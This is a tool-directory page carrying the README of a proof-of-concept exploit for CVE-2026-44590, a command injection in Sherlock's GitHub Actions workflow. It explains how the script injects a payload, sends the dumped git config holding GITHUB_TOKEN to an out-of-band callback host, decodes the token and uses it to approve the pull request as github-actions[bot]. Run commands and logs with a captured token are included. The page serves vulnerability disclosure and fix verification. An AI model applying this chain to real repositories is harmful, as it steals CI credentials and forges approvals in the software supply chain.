Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44590 — Proof-of-concept exploit for CVE-2026-44590, a command injection in Sherlock's GitHub Actions workflow enabling RCE and GITHUB_TOKEN exfiltration via pull_request_target. | Kitploit
Tools/GitHubGitHub/astaruf/cve-2026-44590
Vulnerability AnalysisExploitationWeb Application ExploitationSupply Chain SecurityLearning & EducationRed Teaming
GitHubastaruf/cve-2026-44590

CVE-2026-44590

Proof-of-concept exploit for CVE-2026-44590, a command injection in Sherlock's GitHub Actions workflow enabling RCE and GITHUB_TOKEN exfiltration via pull_request_target.

View Repository
3 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-44590 - sherlock-project/sherlock CI - RCE via pull_request_target Injection → Supply Chain Compromise

Discovered & reported by: Astaruf

Full writeup: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/

Upstream advisory: sherlock-project/sherlock GHSA advisory

NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-44590

CVE Record:

https://www.cve.org/CVERecord?id=CVE-2026-44590

This repository contains the proof-of-concept for CVE-2026-44590, a command injection in the validate_modified_targets.yml GitHub Actions workflow of sherlock-project/sherlock. Any GitHub user can open a pull request that triggers arbitrary command execution in the privileged CI context, exfiltrate the workflow's GITHUB_TOKEN, and auto-approve the malicious PR, all without any human interaction.

For the full technical writeup (root-cause analysis, exploitation walkthrough, impact discussion, and a chapter on what an attacker could do in real-world scenarios) see the blog post:

nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590

This README focuses exclusively on the PoC script: what it does, how to run it, and what to expect.

About poc.py

poc.py is a single self-contained Python script (stdlib only) that automates the entire attack chain end-to-end:

  • forks sherlock-project/sherlock if needed
  • (optionally) rolls the fork's master back to the pre-fix commit so the bug can be reproduced even after the upstream fix
  • spawns an OAST listener (interactsh-client)
  • crafts and pushes a malicious PR branch
  • triggers the vulnerable workflow
  • extracts the GITHUB_TOKEN from the OAST callback (in --mode exfil) and decodes it in clear text
  • uses the stolen token to auto-approve the same PR via the GitHub API
  • prints a clear final verdict: VULNERABILITY CONFIRMED or FIX VERIFIED
  • cleans up after itself (deletes the PoC branch, terminates interactsh-client)

There is exactly one manual step required (clicking GitHub's "I understand my workflows" banner the first time per fork), because no public API exists to dismiss it. The script detects this case and pauses with a clear prompt.

Quick start

Verify the upstream fix works (default behavior)

root@kitploit:~
python3 poc.py --fork-owner <your-github-username>

Forks the repo (if needed), syncs with upstream (patched master), opens a malicious PR, runs the attack chain, and reports FIX VERIFIED because the patched workflow blocks the payload before any shell command runs.

Reproduce the original vulnerability

root@kitploit:~
python3 poc.py --fork-owner <your-github-username> --vulnerable

Same as above, but first rolls the fork's master back to the pre-fix commit (271608fb). Expected verdict: VULNERABILITY CONFIRMED.

Demonstrate the full impact (token exfiltration + PR auto-approval)

root@kitploit:~
python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil

The exfil payload dumps git config --list to the OAST and sleeps for 180 seconds to keep the workflow (and thus the GITHUB_TOKEN) alive. While the workflow is sleeping, the script extracts the token from the OAST log, decodes it, and immediately calls the GitHub API to approve the PR. The PR ends up approved by github-actions[bot].

Requirements

  • Python 3.8+ (no third-party dependencies, only stdlib)
  • gh (GitHub CLI), authenticated:
    root@kitploit:~
    gh auth login
    
  • git
  • interactsh-client (optional but recommended). When installed, the script auto-spawns it and verifies the callback in-script:
    root@kitploit:~
    go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
    
    If you prefer to use your own OAST endpoint (Burp Collaborator, oast.fun via web UI, requestbin, etc.), pass it with --oast-url and the auto-verification step will be skipped.

The script does not require a fork to exist beforehand, it creates one automatically.

Modes

--mode harmless (default)

The payload is a single curl POST with a static confirmation string. No secrets are read, no API calls are made, the only side effect is the OAST callback. Use this to confirm the vulnerability exists without exposing any credential.

--mode exfil

The payload dumps git config --list (which contains the GITHUB_TOKEN base64-encoded under http.https://github.com/.extraheader) to the OAST, then sleeps for 180 seconds. The script then:

  1. Polls the OAST log until the dump arrives.
  2. Extracts the base64 blob with a regex.
  3. Decodes it and prints the credential in clear text: x-access-token:ghs_XXXXXXXX....
  4. Strips the x-access-token: prefix and uses the raw token to call POST /repos/<fork>/pulls/<n>/reviews with the standard approval payload ({"event":"APPROVE","body":"All checks passed. LGTM!"}).
  5. The PR shows up as approved by github-actions[bot], indistinguishable from legitimate CI automation.

Once the approval is recorded, the script skips the rest of the workflow's 180-second sleep, since the attack chain is complete and waiting for the runner to time out adds nothing.

Options

FlagDescription
--fork-owner <user>Required. GitHub username that owns (or will own) the fork
--fork-name <name>Fork repository name (default: sherlock)
--oast-url <url>OAST endpoint receiving the callback. If omitted, the script auto-spawns interactsh-client and runs the in-script verdict
--mode harmless|exfilPayload type (default: harmless)
--vulnerableForce-reset the fork's master to the pre-fix commit (271608fb) before running. Implies --no-sync
--no-syncSkip syncing the fork with upstream (useful when testing a pinned commit)
--base-branch <name>PR target branch on the fork (default: master)
--keep-branchDo not delete the PoC branch after completion
--no-pollSkip workflow run polling and exit after PR creation

Why the PR targets the fork, not the upstream repository

By design, the PoC opens the PR from a branch on the fork to the master of the same fork. It does not target sherlock-project/sherlock directly. There are two reasons for this.

1. Avoiding public disclosure of an exploit

A pull request on a public repository is visible to anyone. The diff stays indexed even after the PR is closed, and the GitHub Actions logs are accessible via the web UI. Opening a PR with a working command injection payload on the upstream repository would effectively publish a functional exploit before maintainers had a chance to ship a fix. Anyone watching the repository could copy the payload, swap the OAST callback for a malicious endpoint, and use it to exfiltrate the real GITHUB_TOKEN.

The PoC uses a fork-to-fork PR to keep the exploit out of public view while still demonstrating the bug end-to-end.

2. Reproducing the exact vulnerable behavior

When you fork sherlock-project/sherlock, the workflow file validate_modified_targets.yml is included in the fork. Opening a PR targeting the fork's master triggers the workflow under the fork's context, with a GITHUB_TOKEN issued for the fork. The mechanics are identical to the original attack:

  • The pull_request_target trigger fires automatically
  • The workflow runs in the base repository's context (in this case, the fork)
  • The workflow has access to its own GITHUB_TOKEN
  • actions/checkout writes the token into .git/config via the http.https://github.com/.extraheader setting
  • The injected payload can extract or use the token

The only difference is the blast radius: the token belongs to the fork, not to sherlock-project/sherlock. The vulnerability is reproduced; the impact is contained.

The one manual step

GitHub disables Actions on freshly created forks behind a UI banner:

Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.

There is no public API to dismiss this banner. The script detects this condition (fork was just created OR has zero historical workflow runs) and pauses with a clear prompt:

root@kitploit:~
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser:  https://github.com/<user>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...

After clicking the banner once on a given fork, the script will not prompt again on subsequent runs against the same fork.

Sample output (vulnerable, exfil mode)

root@kitploit:~
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork:    youruser/sherlock
10:54:36 [*] Payload mode:   exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done

Sample output (patched, exfil mode)

root@kitploit:~
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*]   status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================

Disclaimer

This repository is published for educational and security research purposes only. The vulnerability has been responsibly disclosed to the maintainers, fixed in upstream, and a CVE has been requested. Do not run this PoC against repositories you do not own or do not have explicit permission to test. The author is not responsible for any misuse.

License

MIT

Download Tool